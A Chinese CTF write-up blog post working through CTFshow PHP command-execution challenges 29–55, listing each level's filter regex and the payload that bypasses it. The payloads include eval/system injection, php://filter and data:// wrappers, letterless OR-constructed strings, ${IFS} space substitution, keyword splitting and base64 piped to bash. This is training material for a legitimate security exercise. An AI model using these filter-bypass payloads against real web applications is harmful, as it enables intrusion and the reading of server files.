CTFer——RCE命令执行漏洞

例题总结:

CTFshow

29:

if(!preg_match("/flag/i"$c)){
        eval($c); (eval内执行的是php代码,必须以分号结尾)

绕过方式:

(1)?c=system("cat%20fla*"); fla* 代替flag

  (2)  ?c=eval($_GET[1]);&1=phpinfo(); 参数输入加eval

(3)?c=echo `cat fla*`;

 

30:

if(!preg_match("/flag|system|php/i"$c)){
        eval($c);

(1):?c=passthru("cat%20fla*");  passthru替代system执行系统命令

(2) (3) 同上都可以使用

(4)?c=passthru("tac%20fla?????");

如果*被过滤掉 可以使用ls先查看存在的文件 在使用通配符 ???代替

 

31:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i"$c)){
        eval($c);

比上一题多过滤了

cat -----可以使用tac 以及多种方式替换

空格 可以用 ${IFS}绕过

. php flag可以用通配符?绕过

(1)passthru 绕过

  url/?c=passthru("tac\${IFS}fla*");
注意:为什么要加\ 因为上面的$需要用反斜杠进行转义,

这也解释了为什么preg_match函数中的\后的标点被过滤

(2)passru + 通配符

(3)嵌套eval函数绕过 参数传参同上

 

32:可以利用include进行绕过, 具体实现方式为 eval(include flag.php;)

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"$c)){
        eval($c);

比上一关多过滤了(  and ` and ' \

过滤了括号就表明上述的方法无法使用

这时候可以使用 php:filter

过滤器的分类及常见过滤器:

string filter(字符过滤器)
                string.rot13  (对字符串执行 ROT13 转换)
                        例:php://filter/string.rot13/resource=flag.php
                string.toupper (转大写)
                        例:php://filter/string.toupper/resource=flag.php
                string.tolower (转小写)
                string.strip_tags (去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果)
                        例:php://filter/string.strip_tags/resource=flag.php
 conversion filter (转换过滤器)
                convert.base64-encode & convert.base64-decode (base64加密 base64解密)
                        例:php://filter/convert.base64-encode/resource=flag.php
                convert.quoted-printable-encode & convert.quoted-printable-decode(在字符串后加=0A,及恢复)
 compression filter(压缩过滤)
                zlib.deflate & zlib.inflate(压缩 解压)
                        例:php://filter/zlib.deflate/resource=flag.php                                                       php://filter/zlib.inflate/resource=flag.php
                bzip2.compress & bzip2.decompress(zip 压缩 解压)
        encryption filter(加密过滤器)

题解:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

其中?>代替分号 因为;被过滤了

 

34:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i"$c)){
        eval($c);

多过滤了: 但是对于间接传参好像不影响,继续使用上题的payload

 

35:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i"$c)){
        eval($c);

=号也被过滤了

36:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i"$c)){
        eval($c);

增加了0-9的数字限制,传参时候换为单个字符即可

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

 

37:

if(!preg_match("/flag/i"$c)){
        include($c);
        echo $flag;

文件包含:

如果这些特殊的指令所包含的文件路径被泄露(include下的文件)

?c=data://text/plain,<?php system("tac fla*.php");?>

使用data伪协议

 

38:if(!preg_match("/flag|php|file/i"$c)){
        include($c);

多了 php 和 file 的过滤

?c=data://text/plain,<?=system("cat fla*")?>

 

39:if(!preg_match("/flag/i"$c)){
        include($c.".php");

拼接的php可以不用管>?就已经代表php语句的闭合 include只会处理内部的内容,

?c=data://text/plain,<?=system("cat fla*.php")?>、

 

40:

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i"$c)){
        eval($c);

无参数rce (暂时还不会)

 

41:

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'$c)){
        eval("echo($c);");

无数字字符rce

首先是POST方法传递参数,其次过滤了基本上所有的可见字符,

但是没有过滤或运算符|和双引号”,所以可以使用或运算构造字符


构造payload

system=(“%13%19%13%14%05%0d”|"%60%60%60%60%60%60)

其中%13|%60=s 可以看出是前半部分组合 后半部分也组合

我们构造出了(system) (ls)

payload:("%13%19%13%14%05%0d"|"%60%60%60%60%60%60") ("%0c%13"|"%60%60")

最后使用一体化脚本跑出来了。。

 

42&43&44:>/dev/null 2>&1 是一个 shell 重定向操作,

意味着命令的标准输出(stdout)和标准错误(stderr)都被重定向到 /dev/null

即被丢弃

要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞

?c=tac(cat) fla*%26%26ls

(2) 使用" || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //将前一个结果传到后面 执行后面那条命令
|| //只执行前面那条命令   way2
& //两条命令都会执行      way1
&& //两条命令都会执行

?c=tac fla*.php ||

45. 过滤空格

(1)用${IFS}

(2)用%09

(3)$IFS$9

(4)cat<flag

(5){cat,flag.php}

46&47&48&49.过滤了$ 空格只能用%09 fla*换成fla?

?c=tac%09fla?.php||

50 %09被过滤了

给出一个不需要空格的指令

?c=tac<fla%27%27g.php||

 

51:tac被过滤

可以用t”ac 进行绕过 注意编码为%27%27

 

补充

关键字绕过:

1:反斜线绕过

ca\t

2:两个单引号绕过

ca''t

3:echo Y2F0IGZsYWC=|base64 -d| bash

输出cat flag的base64加密 -d表示解码 bash表示执行

4:通配符绕过

fl[abc]g 任意匹配

5:用* 和? 绕过

 

?c=t%27%27ac<fl%27%27ag.php||

 

52:过滤了< 但是没有过滤$ 所以可以用${IFS}了

需要注意的是这题flag没有放在当前目录下,需要先找一下。

?c=ls${IFS}/||        (查找根目录文件)

payload:?c=nl${IFS}/fla''g||

cat和ls试了一下,都没有回显,看来是个文件,直接nl

 

53:

?c=ca\t${IFS}fla?.php

 

54:if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i"$c)){
        system($c);

中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,

如cat 那么ca323390ftc232fa3kdfst, 凡是按序出现了cat 都被匹配

这是我们想到使用ca? 但是这样匹配不到命令 必须写出全路径

cat命令在bin目录下 所以/bin/cat

payload:

?c=/bin/ca?${IFS}????.???

 

55:

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i"$c)){
        system($c);

只过滤字母 无字母rce

使用通配符bin 目录下的base64 flag.php

?c=/???/????64 ????.???

 

 

 


 

 


 

 


 

posted @   Heck1ng  阅读(363)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示